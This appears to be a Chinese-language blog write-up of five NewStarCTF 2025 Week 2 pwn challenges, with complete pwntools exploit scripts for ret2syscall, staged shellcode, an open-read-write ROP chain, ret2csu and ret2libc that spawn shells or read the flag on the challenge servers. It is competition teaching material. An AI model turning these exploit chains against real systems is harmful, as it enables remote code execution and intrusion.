当前位置: 首页 > news >正文

NewStarCTF2025-Week2-Pwn

目录

1、Syscall

2、刻在栈里的秘密

3、input_small_function

4、no shell

5、calc_beta


1、Syscall

程序是静态链接的,就是打32位的ret2syscall

没有/bin/sh,我们系统调用read写入,然后再系统调用execve

Exp:

from pwn import *context(arch = 'i386',os = 'linux',log_level = 'debug')elf = ELF('./pwn')io = remote('8.147.134.121',20659)#io=process('./pwn')offset = 22pop_eax = 0x080b438apop_ebx = 0x08049022pop_ecx = 0x0804985apop_edx = 0x0804985cint_0x80 = 0x08073a00bss_addr = elf.bss()read_addr = elf.symbols['read']payload = cyclic(offset)+p32(pop_eax)+p32(0x3)+p32(pop_edx)+p32(0x20)+p32(pop_ecx)+p32(bss_addr)+p32(pop_ebx)+p32(0)+p32(int_0x80)+p32(pop_eax)+p32(0xb)+p32(pop_edx)+p32(0)+p32(pop_ecx)+p32(0)+p32(pop_ebx)+p32(bss_addr)+p32(int_0x80)io.sendlineafter("pwn it guys!\n",payload)io.sendline('/bin/sh\x00')io.interactive()

2、刻在栈里的秘密

利用FSB泄露栈上的内容

3、input_small_function

输入内容会被当做函数执行

Shellcode长度受限,我们二次读入即可

Exp:

from pwn import *context(arch='amd64', os='linux', log_level='debug')HOST = '47.94.87.199'PORT = 22583io = remote(HOST, PORT)# stage1: small read-then-jmp stub (<= 20 bytes)stage1 = asm("""xor rax, raxxor rdi, rdimov esi, 0x00114514mov edx, 0x100syscalljmp rsi""")assert len(stage1) <= 0x14print("stage1 len:", len(stage1))# stage2: full execve("/bin/sh", ["/bin/sh", NULL], NULL)stage2 = asm("""xor rax, raxmovabs rbx, 0x0068732f6e69622f   /* "/bin/sh\x00" */push rbxmov rdi, rspxor rsi, rsipush rsipush rdimov rsi, rspxor rdx, rdxmov al, 59syscall""")print("stage2 len:", len(stage2))io.recvuntil(b"please input a small function (also after compile)\n")io.send(stage1) sleep(0.05)io.send(stage2)io.interactive()

4、no shell

禁用了 execve

存在栈溢出,打orw

注意到一个比较奇怪的gadget,会将返回值复制到rdi

说几个需要注意的点吧,一个是新开的flag文件fd好像不是3

在本地直接给3可以打通,远程有点问题,因此借助上面提到的gadget

其次,文件名叫flag,不要被伪代码里的flag.txt误导了

Exp:

from pwn import *context(os='linux', arch='amd64', log_level='debug')elf = ELF('./pwn')io = remote('47.94.87.199',30724)io.sendlineafter('Do you want to say something?','y')io.sendlineafter('leave or capture the flag?','2')io.sendlineafter('your choice:','2')io.sendlineafter('your choice:','1')offset = 0x20 + 8bss_addr = elf.bss()pop_rdi = 0x4013f3pop_rsi = 0x4013f5pop_rdx = 0x4013f7mov_rdi_rax_ret = 0x4013f9open_plt  = elf.plt['open']read_plt  = elf.plt['read']write_plt = elf.plt['write']payload = b'A' * offsetpayload += p64(pop_rdi) + p64(0)payload += p64(pop_rsi) + p64(bss_addr)payload += p64(pop_rdx) + p64(0x20)payload += p64(read_plt)payload += p64(pop_rdi) + p64(bss_addr)payload += p64(pop_rsi) + p64(0)payload += p64(open_plt)payload += p64(mov_rdi_rax_ret)payload += p64(pop_rsi) + p64(bss_addr)payload += p64(pop_rdx) + p64(0x50)payload += p64(read_plt)payload += p64(pop_rdi) + p64(1)payload += p64(pop_rsi) + p64(bss_addr)payload += p64(pop_rdx) + p64(0x50)payload += p64(write_plt)io.sendlineafter('say something:', payload)io.send(b"flag\x00")io.interactive()

5、calc_beta

edit_numbers函数内存在越界写

当v3=0时,result = a1 – 8

这个位置正好是edit_numbers函数的返回地址

因为gadget里面控制不了rdx,考虑打ret2csu

这里call的是r12,r13、r14、r15对应rdi、rsi、rdx

Exp:

from pwn import *context(arch = 'amd64',os = 'linux',log_level = 'debug')#io = process('./calc')io = remote('8.147.132.32',16814)elf = ELF('./calc')#gdb.attach(io)#pause()write_plt = elf.plt['write']write_got = elf.got['write']read_plt = elf.plt['read']main_addr = 0x4010B4pop_rdi = 0x401253ret_addr = 0x4006b6csu1 = 0x40124Acsu2 = 0x401230def edit(idx,num):io.sendlineafter('>','2')io.sendlineafter('>',str(idx))io.sendlineafter('>',str(num))edit(1,0) #rbx=0edit(2,1) #rbp=1edit(3,write_got) #r12edit(4,1) #r13=rdiedit(5,write_got) #r14=rsiedit(6,8) #r15=rdxedit(7,csu2)edit(8,1) # pop paddingedit(9,1)edit(10,1)edit(11,1)edit(12,1)edit(13,1)edit(14,1)edit(15,main_addr)edit(0,csu1)write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))print(hex(write_addr))libc = ELF('./libc.so.6')libc_base = write_addr - libc.symbols['write']system_addr = libc_base + libc.symbols['system']bin_sh_addr = libc_base + next(libc.search('/bin/sh'))edit(1,bin_sh_addr)edit(2,ret_addr)edit(3,system_addr)edit(0,pop_rdi)io.interactive()

其实我们还是可以控制rdx

注意到getnum函数内的read默认读取字节为0x90

完全够用了

Leak libc后返回到main函数就可以再次利用那个越界写的漏洞

Exp2:直接打ret2libc

from pwn import *context(arch = 'amd64',os = 'linux',log_level = 'debug')#io = process('./pwn')io = remote('8.147.132.32',16814)elf = ELF('./pwn')io.sendlineafter('>','2')io.sendlineafter('>','0')io.sendlineafter('>',str(0x40092a))#gdb.attach(io)#pause()write_plt = elf.plt['write']write_got = elf.got['write']read_plt = elf.plt['read']main_addr = 0x4010B4pop_rdi = 0x401253pop_rsi_r15 = 0x401251ret_addr = 0x4006b6bss_addr = elf.bss()payload = p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(ret_addr) + p64(main_addr)io.sendline(payload)write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))print(hex(write_addr))libc = ELF('./libc.so.6')libc_base = write_addr - libc.symbols['write']system_addr = libc_base + libc.symbols['system']bin_sh_addr = libc_base + next(libc.search('/bin/sh'))io.sendlineafter('>','2')io.sendlineafter('>','0')io.sendlineafter('>',str(0x40092a))payload = p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)io.sendline(payload)io.interactive()

http://www.dtcms.com/a/492420.html

相关文章:

  • 网站建设5个why分销网站怎么做
  • 永州做网站的公司河南省建设厅执业资格注册中心网站
  • 3-C++中类大小影响因素
  • 广州外贸网站公司新零售网络推广方案
  • mybatis返回map对象,在线程内将getkey值后赋值给stirng,会线程卡死问题
  • 【北邮-本科-通信原理】第五章关于HDB3编码的C++实现
  • 酒类网站建设方案案酷玛网站建设
  • 晋江网站建设联系电话销售渠道都有哪些
  • 商务网站建设策划书2000字做汽车团购的网站有哪些
  • 网站的域名空间思茅网站建设
  • 定西市网站建设企业wordpress网站缩
  • 黑河做网站公司wordpress标签管理系统
  • RunnableParallel
  • 做网站要学什么c语言如何在手机上运行wordpress
  • 建设农产品网站总结ppt三明市建设局网站
  • 好的网站建设哪家好随州网站建设价格
  • 可信验证网站深圳高端网站设计公司
  • 深入理解 Rust 的类型系统:内存布局、Trait 与类型推理
  • how to Disable SMPL(Sudden Momentary Power Loss) feature
  • 性能测试实战:JMeter全攻略
  • 淘宝客网站建设视频教程制作企业网站的
  • Furtherance,一个隐私友好的时间追踪工具
  • 网站开发和设计人员的岗位要求个人网站做论坛
  • 网站开发工程师基础centos7更新Wordpress
  • 网站建设要托管服务器百度大全下载
  • 刷链接浏览量网站建筑工程 网络图
  • 玉环做网站找那家公司网站备案账号是什么样的
  • Redis 如何设置密码及验证密码?
  • HTTPS 的加密流程
  • 有什么知名网站是用织梦做的响应式网站制作价格